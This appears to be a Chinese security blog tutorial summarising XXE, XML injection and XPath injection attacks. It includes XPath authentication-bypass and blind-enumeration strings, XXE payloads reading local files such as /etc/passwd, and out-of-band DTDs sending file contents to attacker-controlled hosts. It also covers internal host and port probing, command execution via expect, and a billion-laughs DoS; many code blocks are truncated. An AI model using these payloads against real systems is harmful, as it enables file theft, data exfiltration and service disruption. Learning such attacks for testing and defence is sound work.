XXE 总结
XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。所有的XML文档都由五种简单的构建模块(元素,属性,实体,PCDATA CDATA)构成。实体可在内部或外部进行声明。因此我们利用引入实体,构造恶意内容,从而达到攻击的目的。
危害
- 任意文件读取
- 命令执行
- 内网端口扫描
- 攻击内网网站
- 发起Dos攻击
XML注入
首先了解下什么是XML注入。XML是一种数据组织存储的数据结构方式,安全的XML在用户输入生成新的数据时候应该只能允许用户接受的数据,需要过滤掉一些可以改变XML标签也就是说改变XML结构插入新功能(例如新的账户信息,等于添加了账户)的特殊输入,如果没有过滤,则可以导致XML注入攻击。
条件:
- 用户能够控制数据的输入
- 程序有拼凑的数据
example:
1 | # 注入前XML代码 |
当用户输入一些恶意代码,比如User1</USER><USER role="admin">User2
,原XML代码就变成了下面的样子:
1 | # 注入后XML代码 |
可以看到通过XML语句的前后拼接, XML代码被插入了进去,新增加了一位用户。
对普通的 XML 注入,利用面比较狭窄,现实中也是比较鸡肋的存在,因此几乎用不到。
XPath注入
XPath注入攻击是指利用XPath 解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的XPath 查询代码,以获得权限信息的访问权并更改这些信息。XPath注入攻击是针对Web服务应用新的攻击方法,它允许攻击者在事先不知道XPath查询相关知识的情况下,通过XPath查询得到一个XML文档的完整内容。XPath注入发生在当站点使用用户输入的信息来构造请求以获取XML数据。攻击者对站点发送经过特殊构造的信息来探究站点使用的XML是如何构造的,从而进一步获取正常途径下无法获取的数据。当XML数据被用作账户验证时,攻击者还可以提升他的权限。
XPath注入攻击利用两种技术,即XPath扫描和 XPath查询布尔化。通过该攻击,攻击者可以控制用来进行XPath查询的XML数据库。这种攻击可以有效地对付使用XPath查询(和XML数据库) 来执行身份验证、查找或者其它操作。
Xpath直接注入
test2.xml(存储用户名和密码)
1 |
|
2.php(用于接收传入参数,并进行XML查询)
1 |
|
simplexml_load_file():返回类 SimpleXMLElement 的一个对象,该对象的属性包含 XML 文档中的数据
正常查询:
1 | http://localhost/XXE/2.php?name=test1&pwd=test1 |
攻击者在name参数输入:' or 1=1 or ''='
成功获取所有user数据。上面这个字符串会在逻辑上使查询一直返回 true
并将一直允许攻击者访问系统。攻击者可以利用 XPath 在应用程序中动态地操作 XML 文档。攻击完成登录可以再通过XPath盲注技术获取最高权限帐号和其它重要文档信息。
XPath盲注
如果遍历出整个XML文档,一般步骤如下:
- 盲注根节点
利用count(/*)判断根下节点:
1 | http://localhost/XXE/2.php?name=' or count(/*) = 1 or '1' = '2 |
有返回结果证明存在一个根节点。
利用substring分割根节点的每个字符,猜解第一级节点:
1 | http://localhost/XXE/2.php?name=' or substring(name(/*[position() = 1]),1,1)='r' or '1'='2 |
最终结果: root
- 盲注root的下一级节点
判断root的下一级节点数:
1 | http://localhost/XXE/2.php?name=' or count(/root/*) = 1 or '1' = '2 |
有返回结果证明存在一个root的下一级节点。
猜解root的下一级节点:
1 | http://localhost/XXE/2.php?name=substring(name(/root/*[position() = 1]),1,1)='u' or '1'='2 |
最终结果:users
重复上述步骤,直至猜解出所有节点,最后来猜解节点中的数据或属性值。
XXE 利用
有回显读本地敏感文件(Normal XXE)
服务能接收并解析 XML 格式的输入并且有回显的时候,我们就能输入我们自定义的 XML 代码,通过引用外部实体的方法,引用服务器上面的文件
example:
1 |
|
file_get_contents
获取客户端输入内容new DOMDocument()
初始化XML解析器loadXML($xmlfile)
加载客户端输入的XML内容,**LIBXML_NOENT
** (int):Substitute entities,**LIBXML_DTDLOAD
** (int):Load the external subsetsimplexml_import_dom($dom)
获取XML文档节点,如果成功则返回SimpleXMLElement对象,如果失败则返回FALSE。
payload:
1 | <?xml version="1.0" encoding="utf-8"?> |
如果flag.txt中包含特殊符号,比如<
、>
、&
、"
、'
等,例如:
1 | <XXE Payload Executed Successfully!!!> |
读取文件中含有特殊符号时,返回了一堆错误,这个时候就需要使用CDATA了。(当然,更简单的使用base64编码)
payload:
1 | <?xml version="1.0" encoding="utf-8"?> |
evil.dtd
1 | <?xml version="1.0" encoding="UTF-8"?> |
似乎在WIN10上不行
利用带有CDATA的Payload,可以看到特殊符号被成功绕过。
但是在真实情况下,服务器上的XML一般用于配置文件或者传输数据,而不是显示数据,因此在现实环境下利用这个漏洞就需要找到不依靠回显的方法。
无回显读取本地敏感文件(Blind XXE)
xml.php
1 |
|
payload1
1 | <!DOCTYPE convert [ |
evil.dtd
1 | <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/flag.txt"> |
连续调用了三个参数实体 %remote;%int;%send;
,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 evil.dtd ,有点类似于将 evil.dtd 包含进来,然后 %int 调用 evil.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %
),我们再调用 %send; 把我们的读取到的数据发送到我们的远程服务器上,这样就实现了外带数据的效果,解决了 XXE 无回显的问题。
payload2
1 | <?xml version="1.0" encoding="utf-8"?> |
xxe.xml
1 | <!ENTITY % all "<!ENTITY send SYSTEM 'http://t6n089.ceye.io/%file;'>"> |
整个的调用过程如下:解析时%dtd
引入xxe.xml,之后%all
引入send
的定义,最后引用了实体send,把%file
文件内容通过一个http请求发了出去。注意需要把payload经过url编码。
payload3
无法引用外部DTD文件的前提下,无回显利用XXE注入:
引用内部实体
1 | <?xml version="1.0"?> |
三层嵌套
1 | <?xml version="1.0"?> |
HTTP内网探测主机
payload:
1 | <?xml version="1.0" encoding="utf-8"?> |
根据网页响应时间来判断主机存活情况,写成脚本如下:
1 | import requests |
HTTP内网探测端口
payload:
1 | <?xml version="1.0" encoding="utf-8"?> |
根据返回内容的不同来判断端口是否开启
执行系统命令
在安装expect扩展的PHP环境里执行系统命令
1 | <?xml version="1.0" encoding="utf-8"?> |
拒绝服务攻击(Dos)
1 | <?xml version="1.0"?> |
原理:递归引用,lol 实体具体还有 “lol” 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 “lol” 了,以此类推,lol9 实体含有 10^8 个 “lol” 字符串,最后再引用lol9。
如何挖掘XXE漏洞
常用检测方法
首先查看XML是否可以成功解析
1 | <?xml version="1.0" encoding="UTF-8"?> |
如果页面输出了test1,则可以解析XML。
第二步查看是否支持DTD引用外部实体:
1 | <?xml version=”1.0” encoding=”UTF-8”?> |
然后在我的服务器上查看日志,如果有目标服务器向我的服务器发送了一条index.html的请求,说明
支持引用外部实体,很有可能存在xxe漏洞。
外部普通实体
当有回显时,利用file://协议:
1 | <?xml version="1.0" encoding="UTF-8"?> |
外部参数实体
当无回显,使用http协议:
1 | <?xml version="1.0" encoding="UTF-8"?> |
然后在myhost监听1234端口(dnslog地址也可以),查看是否有http请求。
Json Content-type XXE
很多Web与App应用都是基于客户端-服务器交互的Web通信服务,最常见的数据格式就是Json与XML,尽管web服务可能只使用一种格式,但是服务器却可以接收开发人员没有料到的其他数据格式,有可能导致Json节点受到XXE攻击。
测试方法很简单,就是将Content-Type: application/json
修改为Content-Type: application/xml
,数据格式不变,查看是否报错:
1 | {"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}} |
可以发现服务器是可以处理xml数据的,于是我们利用这个来进行攻击。
利用FTP协议获取敏感信息
利用ftp协议获取服务器信息/内网ip之类的技巧:
在攻击者服务器上运行rb脚本(模拟FTP服务器:https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb),监听8080端口。
然后在web程序那里输入payload:
1 | <?xml version="1.0"?> |
ext.dtd
1 | <!ENTITY % b SYSTEM "file:///etc/passwd"> |
然后在模拟的FTP服务器上就会收到一些服务器信息/文件内容
技巧来自:http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html
参考资料
- Post title:XXE总结
- Post author:John_Frod
- Create time:2021-04-14 09:40:20
- Post link:https://keep.xpoet.cn/2021/04/14/XXE总结/
- Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.